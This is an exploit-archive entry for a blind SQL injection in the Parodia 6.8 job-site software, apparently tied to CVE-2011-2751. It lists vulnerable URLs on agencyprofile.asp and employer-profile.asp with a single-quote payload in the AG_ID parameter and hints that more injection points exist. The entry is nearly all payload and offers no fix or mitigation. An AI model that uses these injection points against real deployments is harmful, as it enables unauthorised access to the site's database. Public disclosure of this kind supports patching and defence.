Parodia 6.8 – ’employer-profile.asp’ SQL Injection
# Exploit Title: Parodia 6.8 and early SQL injection # Date: June 24 2012 # Exploit Author:Carlos Mario Penagos Hollmann # Vendor Homepage: http://www.parodia.net/ # Version: 6.8 # CVE : CVE-2011-2751 http://server/' ---> blind SQL http://server/agencyprofile.asp?AG_ID=' http://server/employer-profile.asp?ag_id=' There are other SQL Blind injections ;) |